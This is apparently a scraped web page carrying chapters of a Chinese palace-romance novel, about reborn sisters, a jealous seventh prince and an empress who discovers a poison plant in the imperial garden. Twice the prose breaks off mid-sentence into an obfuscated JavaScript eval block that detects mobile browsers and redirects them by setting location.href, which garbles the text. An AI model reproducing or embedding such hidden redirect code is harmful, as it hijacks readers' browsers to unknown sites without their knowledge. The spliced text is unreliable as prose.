慕翎慧一遍一遍地唤着妹妹的名字,泪流满面。可诡异的是,她的眼眸中竟有笑意氤氲开来。 是释然,是即将解脱的幸福。 “别怕,阿翎。姐姐去陪你。” 其实她早就想死了,可她总是会想她死了谁来陪伴阿翎呢。姐妹俩虽说无法住在同一个宫里,但总归离得不远。 她在以她的方式陪伴妹妹。 那一日傍晚,慕翎慧独自闯宫,意欲去见自己的妹妹。纠缠间,她突然抽走了一个守卫的剑,决然迅猛地割向自己的脖颈。 “沈叙清,若有来世,我必杀你。” 慕家两个小女郎至死都在斗争,虽然结果惨烈,但也不是完全没有留下痕迹。 她们死后不到一个月,刘坤城向帝王坦诚是他杀了慕家四姑娘,请求帝王责罚。在那之前刘坤城暗遣家仆赴陇西,带去了他的一大半身家。同时被带去陇西的还有帝都巨富钱家、宣家和慕家的一大半身家。 陇西潞家,两位小女郎的母家,亦是全力支持永宁军扩充,抗外敌,等待灭帝的时机。 李家幺女李霖倩奉家族之令诈死离开了帝都,重归李家的根基所在、阴寒却广袤的极北之地。一是想为李家留一丝血脉,二是对她寄予厚望。 他日若永宁王和帝王斗起来,李家不动可守北地。必要时,可做奇兵。 沈叙清怎么也没料到,几代以来从来互看对方不爽的权臣世家和将门首度联手,资源源源不断地流向陇西。 …… 慕家姐妹立于茶楼下看向千丝丝绸铺,门口已经排了长长三条队了。 慕翎玥忍不住笑,“不愧是千丝。” 慕翎慧还没来得及回应,茶楼二楼突然有声儿袭向她们。 “小玥玥,快到姐姐这儿来。” 慕翎玥循声看过去,一妖娆美人正朝着她们招手,那美人正是帝都钱家的二小姐钱永意。她的名字也是钱家最正常的那个,其他的钱来、钱富、钱永有,钱永贵……一听就知钱家从老到小都钻进钱眼里了。 她身旁的是李家幺女李霖倩,将门虎女,帝都最能打的小女郎这名头她完全担得起,亲哥李霖智经常被她打得哇哇叫。 这会儿李霖倩也冲着她们笑,露出了两颗可爱的小虎牙。 隔世重逢,慕翎玥很难不欢喜:“来了。” 上了二楼,坐定。 李霖倩分别给慕家姐妹倒了茶,往她们面前送时,她语带关切地问道:“阿翎姐姐身体可好全了?” 慕翎玥柔声回道:“好了,这次真是让大家担心了,为了赔罪今儿姐妹们看上的料子都算我的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495334|185914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钱永意笑得不能行,“不愧是我们慕家四姑娘,出手恁大方了。但今儿啊没你表现的余地,毕竟有位姓钱的在。” 慕翎慧支着下颚,看着钱永意:“意意,你说这话可别后悔啊,我今儿可是准备买很多的。” 钱永意豪气得很:“买呗,你还能把我钱家二姑娘买穷了?晾你也没这个本事。” 慕翎慧:“那确实,但我未来肯定比你富。” “怎么?慕家二姑娘这是找到发财的路子了?” 一说及同赚钱的有关的事儿,钱永意眸子骤亮,妩媚散去了些。 “是啊,阿翎你说。” 慕翎玥简略说了,钱永意和李霖倩听完,仔细地打量慕翎慧。 慕翎慧:“看什么?” 李霖倩犹疑了十数息,还是将心里话道出,“慧姐,你经商会不会赔得血本无归啊?” 钱永意跟上,“瞎想谁不会啊?关键是要付诸实施并且赚到钱,现在每一行都挤满了人,哪里那么容易赚到钱。” 慕翎慧:“钱永意,你敢不敢投黄金百两博一个盆满钵满。” 钱永意:“不敢。黄金百两,你知道我能买多少珠钗和漂亮衣裳了吗?大宅子都能置办几套了。但姐妹一场,我们三个小姐妹可凑百两金给你。” 慕翎玥:“意姐姐这建议不错,我投50两。” 钱永意:“那我投35两。” 李霖倩:“那我投15两,凑个整。” 话落,双手横过桌子,胡乱地扯着慕翎慧的袖子,“可要好好干呐,慧姐。小倩的全副家当都投在你身上了,我是真的爱你。” 慕翎慧:“必须的。” 四个小姐妹顿时笑成一团。 过了会儿,钱永意突然停了,大眼一眨不眨地睇着慕翎玥。 慕翎玥:“意姐姐这般瞧着我做甚?” 钱永意如实说了,“昨儿我哥哥对我说,七皇子将他的镇店之宝拿走了。给出的理由叫他无法拒绝,阿翎妹妹可知殿下如何说的?” 慕翎玥:“……” 她是知道,但这不好承认吧? 只能佯装诧异,“殿下如何说的?” 钱永意压低了声音,只有四个小姐妹能听到的程度,“他说拿去送给未来七王妃的。” 李霖倩和慕翎慧的目光一时间全都落在了慕翎玥身上。 “送了吗?拿出来瞧瞧。” “七皇子出手真够大方的,前些日子才送了支半人长的红参,现在又送鹊华的镇店之宝了?” 慕翎玥看着三人眼眸中的异样火光,只觉荒唐,“就是送了,我也不能时时带在身上?” 李霖倩:“哦,就是送了的意思。” 话落,慕翎玥还来不及回应任何,她又说,“小姐妹成了王妃,咱们三以后是不是能在帝都横着走了?” 慕翎慧:“你是螃蟹吗,要横着走?” 李霖倩:“我可能哪天突然心血来潮想横着走了呢?” 慕翎慧:“横着走不好看。” “哈哈哈哈。” 没油盐的瞎扯,慕翎玥却觉得有趣极了。 还是活着好啊,特别是七哥和亲朋都安好。 钱永意今儿确实大手笔。 待到千丝丝绸坊开市,队伍开始动起来时,三掌柜已带了些人进了茶楼,每个人都拿了几卷料子。 这“卷”同店里的粗沉大卷有所不同,但至少一个循环足以将花纹看全。 停在了她们这桌旁,千丝三掌柜吴银宗恭敬地朝着四位姑娘行礼。 钱永意:“辛苦三掌柜了,料子放下即可,过会儿我们会将要买的和其他分开放。” 三掌柜:“几位姑娘慢慢挑。” 应完,他启唇又阖,一副欲言又止的模样。 钱永意瞧出来了,问他,“三掌柜有话不妨直说。” 吴银宗:“三皇子身边的人托我带句话给慕四姑娘。” “什么话?” “三殿下在茶楼三楼的雅间,想邀四姑娘喝茶闲聊几句。” 慕翎玥闻言怔住。 三皇子到底在干什么?她和他并不熟悉,过去的牵绊仅限于在宫宴中碰见不冷不热地打招呼,他看着也绝不像对她有情的样子。 近日却是异动频频,先是求帝王赐婚,现在又邀她私下相见。 或许他有他的思量,但之于她,和负累无异。 正想拒绝,一道低冷男声在三掌柜背后响起, “不见。” 众人循声望了过去,神色各异,但想法差不多。 七皇子又,又又又出宫了! 不仅如此,他还为了阿翎和亲哥杠上了。 殿下是真的很喜欢阿翎。 10.第10章 慕翎玥不由松了口气,但更多的是欢喜。 七哥将她护得很好,烦忧根本近不了她的身。 这一世,他对她属于他这事儿很执着,言行透着理所当然。 谁要是妄图将她从他身边带走,等同于踩了他的底线。他会毫不留情地反击,哪怕那个人是他的哥哥。他给她一种感觉他什么都可以让,但阿翎不可以。 慕翎玥思绪宕动,嘴角开始压不住。 三掌柜慌张转身,腰肢折到了极限,朝着沈叙白行礼:“殿下莫怪,小的只是个传话的。” 沈叙白今儿明显精心装扮过,一袭瓷白锦袍,以精美的腰带束之。腰带上挂着他的护身玉和皇后娘娘为他求的护身符,一白一藏青,无声缠绕。再加上那张清隽白皙的脸,沈家的小公子尊贵天下无双,样貌和气度也少有男子能敌。 “滚。” 沈叙白明显心情不好,连着开口都是精简到不能行,语气寡淡。 三掌柜:“小的告退。” 钱永意见状,朝着慕翎玥使了个眼色。 赶紧将你家小殿下带走,他冷着脸杵在这里,我们怎么挑料子? 慕翎玥就坐在钱永意对面,第一时间接收到讯号,暗笑在心。 但哄小殿下这事儿,她是很乐意做的。 “那我先离开会儿。” 说完起身,朝着沈叙白走去。 面对面而立时,她轻笑问道,“七哥怎么来了?” 沈叙白答非所问,酸气直冒:“幸亏来了,不来都不知道有些人想抢我媳妇儿。” 该制止他的,毕竟两个人还没成婚,一口一个媳妇儿实在不成体统。但她没有,只因殿下吃醋的样子太有趣了,她看戏都来不及,实在没心思做其他了。 她甚至故意挑动他的醋意:“上回你不是就知道了吗?” 三皇子都求陛下赐婚了,意图明晃晃地摆在台面上了。 沈叙白的俊脸更冷了:“慕翎玥。” 慕翎玥:“好了好了不说了。” 随后非常地识时务地将话题带开,“这般早,殿下可用过早膳了?” 明明用过了,沈叙白却说:“没有。怎么,慕家四姑娘要请我用早膳?” 慕翎玥:“是有这个想法,殿下可嫌弃?” 沈叙白:“不嫌弃。” 心里还在暗忖,这样的好事儿,嫌弃是要遭雷劈的。 “那走吧,有个地儿你肯定没去过。” “哪里?” “等会儿你就知道了。” 两人相偕离开,阿屏和流光这回聪明得紧,站在原地没有跟去。 待到他们的身影消失在这片空间,李霖倩才将目光转到了慕翎慧身上, “就这么哄好了?阿翎是这个……” 李霖倩翘起了大拇指,钦佩之意明晃晃显出。 慕翎慧:“这个时候,我就不得不提那支半人高的红参了。” “哈哈哈哈哈。” “以后说及阿翎和七皇子是不是都绕不过这支红参了?” 茶楼的三楼却是另一种光景。沈叙清倚着围栏而坐,看着慕翎玥和沈叙白出了茶楼,并肩朝着春莺街而去。 他们背对着他,什么表情他其实瞧不见,但他心里很清楚,定是阿翎在哄沈叙白。 沈叙白故意绷着脸,就想娇人儿多哄一会儿。 思绪悸动,沈叙清不由想起上一世。 秋末,沈叙白的生辰。 帝王在怀秀宫设宴,来的宾客一大半是司礼监定下的,剩下的那一部分是沈叙白自个儿定的。他自个儿定,无论如何都是绕不过慕家四姑娘的。那日姑娘着了件水蓝色的衣裳,佩戴的珠玉颜色和款式都和衣裳很搭,明显精挑细选过的。 她不用说话,众人都知道她在意沈叙白的生辰。 席间,李霖智忽然拿出了一本据说失传已久的武术秘籍赠予沈叙白作为生辰礼物。他开了个头,众人纷纷跟上,连父皇都赐了他好些样珍稀物件。 一派喧热中,父皇竟看向了慕翎玥,笑道,“到阿翎了。” 帝王笑音中藏了几分宠溺,仿佛慕翎玥是他的小儿媳。 慕翎玥当即起身,朝着帝王行礼,身上的蓝色飘动,仿佛绝美蝴蝶在舞:“回陛下,阿翎确实有准备,但阿翎想问陛下借点东西。” 帝王还没应,沈叙白就嚷开了,“要什么,七哥都给你。” 帝后嫌弃地瞥了眼沈叙白,周遭起哄声四起,慕翎玥也如愿地“借”到了她想要的东西。 一张长桌,桌面上铺了纸,笔墨纸砚齐备。 她提笔,一寸寸描绘画纸。 渐渐地山河现,磅礴而壮美。 手绘山河可不容易,耗时又长,可她全程专注神色柔和。她不觉得烦,她那时不时颤动的长睫甚至在无声昭示,她喜欢做这件事。至于是喜欢画画,还是喜欢给沈叙白准备生辰礼,无人知晓。 也没人催促她。 连陛下,都不曾离开。 近两盏茶的工夫后,沈叙白坐不住了,起身去到她的身边。野惯了的一个人,这会儿也是乖顺得紧。除了偶尔给她搭把手,其余时间只是看。 少年少女并肩而立,有种自然的,旁人掺和不进去的默契和亲昵。画完,李霖智和沈叙白一人牵起画纸一角,将画展示给帝后与其他人瞧。 不过刚及笄,慕翎玥的字画水准已让人惊艳不已。 对字画最是挑剔的刘坤城都忍不住赞叹:“假以时日,书画界必定会有慕家四姑娘的名字。” 那一日,像是慕家四姑娘出尽了风头。但沈叙清觉得,出风头的人是沈叙白。他何德何能,能得到一个惊才绝艳的少女纯粹又热烈的爱意。 他明明……做得那般少。 那也是沈叙清第一次嫉妒谁,那种感觉自那天开始再未离开过他。 “砰。” 思绪跌宕的末处,沈叙清手中的茶盏碎了。 下一瞬,血色现。 进入春莺街,各种食物的香气朝着沈叙白扑来。 热乎的,也杂得很,交织在一起,却不会让人生出任何不喜的感觉。 同时,他的听觉也被乡里乡亲的说话声叫嚷声占据。就很奇怪,一旦到了市场乡里乡亲的说话声就会自动拔高,仿佛小了一点儿,旁人就听不见了。 “阿翎,你说早市有什么魔力。瞧瞧这一个个,笑得跟傻蛋似的。” 慕翎玥这才注意到早市中的人大都在笑。 其实来这春莺街逛的,基本都是寻常百姓,生活谈不上富裕,但他们是真的很开心。 至少在这一刻是的。 “可能是因为知足?知足者方能常乐。” 沈叙白:“我也是个知足的人。” 慕翎玥侧眸看他,十数息后才开口道,“百姓求的是家和人安,七哥求的是什么?” 得到了,他就会满足。 沈叙白:“我求父母康健,阿翎常伴我身旁;我求在意的人顺遂安平,我求这春莺街的乡里乡亲笑容常有。” “我求永宁城真正能永宁……” 慕翎玥被这话气笑了,“你所求这么多,如何看都不像一个知足的人。” “贪心鬼。” 沈叙白:“我堂堂七皇子,要求当然高了。” “等着,今儿说的这些小爷定会一一实现给你瞧瞧。” “仔细瞧着。” 慕翎玥忍着笑,点头应下。 眼前的沈叙白,幼稚得不能行,可她好喜欢这般有精神的他。少年心气磅礴,鲜活明亮,朝阳不及。 “那今儿定要多吃点,吃饱了才有力气去实现愿望。” “我吃很多的,你钱带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497631|185914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够了吗?” “带够了,我以后也会好好干活赚钱,养七哥一百年。” 沈叙白被逗笑,“一百年?我不是老妖怪了。” “瞎说什么?这叫长命百岁。” “听阿翎的,我会努力长命百岁的。” 这个早上,沈叙白罕见地吃到肚皮撑起。 被他一次次喂着,街还没逛完,慕翎玥也是饱得不能行。 这日,帝王事务繁忙,早早地派曹总管去了锦绣宫通知皇后别等他,要按时用膳。帝王爱与不爱,答案全藏在这些小细节了。 岑惠仪简单地用了些,便去御花园去逛了,她想着去瞧瞧小七有没有偷懒。 要是有,必定是要加罚的。 结果却是出乎意料,那块空地已被翻好,深度适宜,土也被碾得细碎。 应该还浇了水,土壤透着湿。 岑惠仪目光落于土上,笑着问道:“可有找帮手?” 照看御花园的宫人朝着皇后福了福身,如实道,“这块都是殿下自己翻的,水也是殿下一桶一桶提来浇的。” “翻着可认真了。” 岑惠仪脑补了下自家小殿下拿着锄头翻土的样儿,只觉有趣,轻轻笑了声。 “还算听话。” 洪嬷嬷接话道,“咱们小殿下闹腾归闹腾,从小到大可没做什么出格的事儿。” “嗯。” 岑惠仪近乎微无地应了声,心里同时暗忖, 那样乖的小七,不该面对那样凄冷的结局。 “明儿给他些迎阳花的种子,让他种。” 洪嬷嬷笑着应下。 随意地逛了一圈,岑惠仪准备回了。 岂料在她沿着一条窄路穿行时,眼角的余光扫到了一片绿。 不算大的一块,那绿藏在其他花花草草中,其实算不上突兀,但岑惠仪的目光一瞬趋冷。 当下,岑惠仪未显露任何。她兀自往前,远离了御花园才对洪嬷嬷说: “先前本宫的目光在一处停了停,嬷嬷可察觉了?” 音量细微,只有她们两人能听到的程度。 洪嬷嬷颔首:“娘娘有何吩咐?” 岑惠仪:“你派人在那处取两株苗回来,不要声张。” “诺。” 戌时中,皇宫静谧,恍若冰封。 有黑影掠进御花园,取了两株绿苗后离开,速度快极,神不知鬼不觉。 稍晚,这两株苗置于盘中,出现在了岑惠仪的面前。 她拿出一株细看,忽而一瞬,轻笑出声。 洪嬷嬷问她笑甚,这绿苗实在看不出有什么特别的。 岑惠仪:“这宫里,有人想要本宫死。嬷嬷,您说是谁呢?” 她的声线柔和似水,可她在说死。 洪嬷嬷顿时惊诧不已,“娘娘如何瞧出来的?” 岑惠仪:“这株是玉衡花的花苗。” 宣家家主宣明宗钟爱玉衡花这事儿,宁跃城尽人皆知。 玉衡花数十个品种,他种种都有。 占满了大院,日日同他相伴。 坊间更有传,宣明宗之所以这般钟爱玉衡花,是因为她喜欢。 后面这些话,岑惠仪并未道明。 可洪嬷嬷是看着岑惠仪长大的,又怎会不知这玉衡花。 “好肮脏的手段。” 岑惠仪:“怪本宫。” 过去太静了,静到这皇宫都把手动到她身上了。 都在想她死。 她死了,后位空出来不说,她的孩子在她们眼中也没什么特别了。 “呵……” 思绪的尽头,岑惠仪冷而短促的笑了声。 洪嬷嬷:“娘娘打算如何应对?奴婢去将那些花苗拔掉?” 岑惠仪:“不必,就当今儿什么都没发生。”